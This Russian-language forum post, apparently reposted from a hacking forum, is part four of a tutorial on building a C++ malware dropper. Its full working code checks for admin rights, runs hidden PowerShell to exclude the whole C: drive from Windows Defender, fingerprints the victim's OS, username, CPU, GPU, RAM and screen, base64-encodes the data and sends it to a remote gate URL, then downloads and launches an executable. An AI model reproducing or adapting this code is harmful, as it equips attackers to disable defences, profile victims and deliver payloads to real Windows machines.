Пишем свой простейший дроппер на плюсах ч4

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор Barmaleus
Источник https://xss.is

Разовьём тему нашего дроппера. В первый и второй раз мы сваяли простенькую версию, а теперь пора его прокачать по полной.
В предыдущей статье мы написали свой собственный phpскрипт и подняли сервер, который будет принимать от нашего дроппера айди билда и информацию о системе, ниже опубликую схему с прошлой статьи так как часто будем на неё отсылаться.
1720293798504.png


Там мы сделали основную и большую опору на сервер в плане антибот системы, уведомлений, сбора и сохранения информации с дроппера, и поэтому в дропер мы вносим функции сбора, шифрования запроса и отправки на сервер. Значит, мы сделали ставку на сервак, а наш дроппер теперь будет как разведчик в тылу врага, почти троянский конь. Вот что мы вносим в эту хитрую штуковину в плане c++ кода:
  • Система: версия / айди билда.
  • Видеокарта, процессор, оперативная память.
  • Юзеры: список или имя с которого запустили.
  • Разрешение экрана
Пожалуй напомню так же и код нашего варианта дроппера финальный который был
C++: Скопировать в буфер обмена
Код:
#include <string>
#include <fstream>
#include "windows.h"
#include <filesystem>
#include "xor.h"
#include "futils.h"
#include "cmp.h"
#include "dcmp.h"
#define USE_WINAPI false

std::filesystem::path GetTemporaryDir(){
    try {
        wchar_t tempPath[MAX_PATH];
        DWORD dwSize = MAX_PATH;
        if (GetTempPathW(dwSize,tempPath)) {
            return tempPath;
        }
    }catch (...) {
        return L"";
    }
}
bool IsElevated()
{
    try
    {
        HANDLE hToken;
        BOOL runWithAdmin = FALSE;
        if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
        {
            TOKEN_ELEVATION elevation;
            DWORD dwSize;
            if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize))
            {
                runWithAdmin = elevation.TokenIsElevated;
            }
        }
        if (hToken) {
            CloseHandle(hToken);
        }
        return runWithAdmin;

    }
    catch (...)
    {
        return FALSE;
    }
}

void executePoweShellCommand(const std::wstring& cmd) {
    std::wstring fullCmd = L"powershell.exe -Command \"& {Start-Process powershell.exe -WindowStyle Hidden -ArgumentList '\"";
    fullCmd += cmd;
    fullCmd += L"\' -Verb RunAs}\"";
    _wsystem(fullCmd.c_str());
}

int wmain() {
    if(!IsElevated()) {
        exit(EXIT_FAILURE);
    }
    executePoweShellCommand(StringToWString("Add-MpPreference -Force -ExclusionPath \"C://\""));
    std::wstring url = L"http://127.0.0.1/file.exe";
    std::filesystem::path file = GetTemporaryDir() / L"Request.data";
    URLDownloadToFileW(0,url.c_str(),file.c_str(),0,0);
    std::wstring command = L"start ";
    command += file.c_str();
    _wsystem(command.c_str());
    return 0;
}
В нём мы отключали winodws defender при помощь powershell, проверяли наличие админ прав и тупо качали файл с ссылки. Но теперь нужно будет получать некоторые параметры для отправки на сервер.
Делаем получение видеокарты через библиотеку dxgi.dll, есть и другие способы через wmic и прочее более сложное многострочное, но пока возьмём этот способ.
C++: Скопировать в буфер обмена
Код:
std::wstring GetGPUInfo() {
    IDXGIFactory* pFactory = nullptr;
    IDXGIAdapter* pAdapter = nullptr;
    std::wstring result = L"empty";

    if (SUCCEEDED(CreateDXGIFactory(__uuidof(IDXGIFactory), (void**)&pFactory))) {
        if (SUCCEEDED(pFactory->EnumAdapters(0, &pAdapter))) {
            DXGI_ADAPTER_DESC adapterDesc;
            if (SUCCEEDED(pAdapter->GetDesc(&adapterDesc))) {
                result = adapterDesc.Description;
            }
            pAdapter->Release();
        }
        pFactory->Release();
    }

    return result;
}
Следующим этапом сделаем получение размера экрана и имени пользователя.
C++: Скопировать в буфер обмена
Код:
std::string GetScreenResolution() {
    int screenWidth = GetSystemMetrics(SM_CXSCREEN);
    int screenHeight = GetSystemMetrics(SM_CYSCREEN);

    return std::to_string(screenWidth) + "x" + std::to_string(screenHeight);
}
Тут всё просто метод есть в винде, а параметры в дефайнах / макросах, SM_CXSCREEN - высота, SM_CYSCREEN - ширина, ну или икс и игрик.
Для получения имени пользователя метод тоже есть в винде, но будем получать в широких строках если попадётся какой - нибудь араб, где нету ansi.
C++: Скопировать в буфер обмена
Код:
std::wstring GetUserNameW() {
wchar_t szBuffer[30];
unsigned long lSize = sizeof(szBuffer);

if (GetUserNameW(szBuffer, &lSize) == 0) {
return L"empty";

    }
 return szBuffer;
}
Теперь добрались и до процессора, его то как получить? Есть множество способов, но я предлагаю через функцию cpuid, она по умолчанию есть везде.
C++: Скопировать в буфер обмена
Код:
std::string GetCPUInfo() {
    char CPUBrandString[0x40];
    int CPUInfo[4] = {-1};
    __cpuid(CPUInfo, 0x80000000);
    unsigned int nExIds = CPUInfo[0];

    memset(CPUBrandString, 0, sizeof(CPUBrandString));

    for (unsigned int i = 0x80000000; i <= nExIds; ++i) {
        __cpuid(CPUInfo, i);
        if (i == 0x80000002)
            memcpy(CPUBrandString, CPUInfo, sizeof(CPUInfo));
        else if (i == 0x80000003)
            memcpy(CPUBrandString + 16, CPUInfo, sizeof(CPUInfo));
        else if (i == 0x80000004)
            memcpy(CPUBrandString + 32, CPUInfo, sizeof(CPUInfo));
    }

    return std::string(CPUBrandString);
}
Код сложноватый но давайте сначала проверим его работспособность.
1720296432667.png


Всё получилось и мы успешно получили имя процессора, дело остаётся уже за малым. Получаем кол - во оперативной памяти в MB умножая на 1024 в квалрате.
C++: Скопировать в буфер обмена
Код:
std::string GetRAMInfo() {
    MEMORYSTATUSEX memInfo;
    memInfo.dwLength = sizeof(MEMORYSTATUSEX);
    GlobalMemoryStatusEx(&memInfo);
    DWORDLONG totalPhysMem = memInfo.ullTotalPhys;

    return std::to_string(totalPhysMem / (1024 * 1024)) + " MB";
}
Версию винды получаем через RtlGetVersion, чтобы не добавлять экспорт, сделаем через GetProcAdress.
C++: Скопировать в буфер обмена
Код:
std::string GetWindowsVersion() {
    NTSTATUS(WINAPI *RtlGetVersion)(LPOSVERSIONINFOEXW);
    OSVERSIONINFOEXW osInfo;

    *(FARPROC*)&RtlGetVersion = GetProcAddress(GetModuleHandleA("ntdll"), "RtlGetVersion");

    if (NULL != RtlGetVersion) {
        osInfo.dwOSVersionInfoSize = sizeof(osInfo);
        RtlGetVersion(&osInfo);

        return "Windows " + std::to_string(osInfo.dwMajorVersion) + "." +
               std::to_string(osInfo.dwMinorVersion) + " (Build " +
               std::to_string(osInfo.dwBuildNumber) + ")";
    }

    return "empty";
}
Теперь осталось собрать эти параметры в единое целое и отправить их на наш сервер. В качестве разделителя параметров буду использовать символ "_".
C++: Скопировать в буфер обмена
Код:
std::wstring spl = L"_";
std::wstring info = StringToWString(GetWindowsVersion()) + spl + GetUserNameW() + spl + StringToWString(GetScreenResolution()) + spl + GetGPUInfo() + spl + StringToWString(GetCPUInfo());
printf("\n%s\n", WstringToString(info).c_str());
Опять же проверяем всё ли получается и правильно ли выполняется код.
1720296997739.png


Выглядит эта кракозябра конечно очень сомнительно но окэй, раз заработала значит пока не чего не меняем).
Вспоминаем скрипт сервера снова, а именно какие параметры мы там принимаем и используем.
PHP: Скопировать в буфер обмена
Код:
if (htmlspecialchars($type) == 'connect'){
    $build = base64_decode($_GET['id']);
    $info = base64_decode($_GET['info']);
Айди билда от 8 символов + информация которую мы ток с вами получали и выводили в консоль. То - есть по сути нам надо сделать так чтобы коннект был такого вида https://localhost/Gate.php?event=connect&id=нашид=&info=нашаинфа.
Приступаем к написанию кода. Для начала добавим base64 который будет шифровать наш запрос на сервер и дешифровывать его с сервера, exe пока будем выдавать сразу с сервера без шифра для тестов.
C++: Скопировать в буфер обмена
Код:
#include <algorithm>

static const std::wstring base64_chars =
    L"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    L"abcdefghijklmnopqrstuvwxyz"
    L"0123456789+/";

static inline bool is_base64(unsigned char c) {
    return (isalnum(c) || (c == '+') || (c == '/'));
}
std::wstring base64_encode(const std::wstring &input) {
    std::string temp(input.begin(), input.end());
    std::string output;
    int i = 0, j = 0;
    unsigned char char_array_3[3], char_array_4[4];
    unsigned int in_len = temp.size();
    unsigned char const* bytes_to_encode = reinterpret_cast<const unsigned char*>(temp.c_str());

    while (in_len--) {
        char_array_3[i++] = *(bytes_to_encode++);
        if (i == 3) {
            char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
            char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
            char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
            char_array_4[3] = char_array_3[2] & 0x3f;

            for (i = 0; i < 4; i++)
                output += base64_chars[char_array_4[i]];
            i = 0;
        }
    }

    if (i) {
        for (j = i; j < 3; j++)
            char_array_3[j] = '\0';

        char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
        char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
        char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);

        for (j = 0; j < i + 1; j++)
            output += base64_chars[char_array_4[j]];

        while (i++ < 3)
            output += '=';
    }

    return std::wstring(output.begin(), output.end());
}
std::wstring base64_decode(const std::wstring &encoded_string) {
    std::string input(encoded_string.begin(), encoded_string.end());
    int in_len = input.size();
    int i = 0;
    int j = 0;
    int in_ = 0;
    unsigned char char_array_4[4], char_array_3[3];
    std::string ret;

    while (in_len-- && (input[in_] != '=') && is_base64(input[in_])) {
        char_array_4[i++] = input[in_]; in_++;
        if (i == 4) {
            for (i = 0; i < 4; i++)
                char_array_4[i] = base64_chars.find(char_array_4[i]);

            char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
            char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
            char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

            for (i = 0; i < 3; i++)
                ret += char_array_3[i];
            i = 0;
        }
    }

    if (i) {
        for (j = i; j < 4; j++)
            char_array_4[j] = 0;

        for (j = 0; j < 4; j++)
            char_array_4[j] = base64_chars.find(char_array_4[j]);

        char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
        char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
        char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

        for (j = 0; (j < i - 1); j++) ret += char_array_3[j];
    }

    return std::wstring(ret.begin(), ret.end());
}
Инклудаем данный файлик и идём в главный .cpp нашего дроппера. Код получиться следующего вида, выглядит дотошно, но давайте проверять работоспособность.
PHP: Скопировать в буфер обмена
Код:
int wmain() {
std::wstring spl = L"_";
if(!IsElevated()) {
 exit(EXIT_FAILURE);
    }
executePoweShellCommand(StringToWString("Add-MpPreference -Force -ExclusionPath \"C://\""));
std::wstring url = L"https://host.com/Gate.php?event=connect&id=";
url += base64_encode(L"PeaceDuke");
url += L"&info=";
std::wstring info = StringToWString(GetWindowsVersion()) + spl + GetUserNameW() + spl + StringToWString(GetScreenResolution()) + spl + GetGPUInfo() + spl + StringToWString(GetCPUInfo());
url += base64_encode(info);
std::filesystem::path file = GetTemporaryDir() / L"Request.data";
URLDownloadToFileW(0,url.c_str(),file.c_str(),0,0);
std::wstring command = L"start ";
command += file.c_str();
_wsystem(command.c_str());
return 0;
}
Код как ожидалось отработал и выдал ответ сервера, дальше открыл его в блокноте так как у .data файла ассоциация с ним.
1720297939700.png


Но всё же давайте прогрузим exe и посмотрим что будет вместе с ним. И заодно попробуем Скачать
View hidden content is available for registered users!
 
Сверху Снизу